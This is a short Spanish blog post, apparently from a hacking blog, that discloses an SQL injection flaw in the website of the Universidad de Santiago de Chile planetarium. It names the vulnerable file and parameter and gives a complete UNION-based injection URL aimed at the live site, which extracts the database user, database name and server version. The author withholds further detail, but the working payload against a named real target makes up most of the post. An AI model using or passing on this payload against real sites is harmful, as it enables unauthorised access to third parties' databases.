[hack] - iSQL sitio de Planetario de Universidad de Santiago de Chile

Vulnerabilidad de inyección de SQL

Archivo Vulnerable                   Campo vulnerable
actividades.php                            idNoticia

Detalles:  Con solo inyectar ' en la url mencionada y se obtiene el error.

Ejemplo: 

http://www.planetariochile.cl/actividades.php?idNoticia=102+and+1=0+union+select+all+1,2,concat_ws%280x3A,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9,10,11,12,13

Sin más detalles para evitar el abuso de Script kiddies.

Posted in: hacks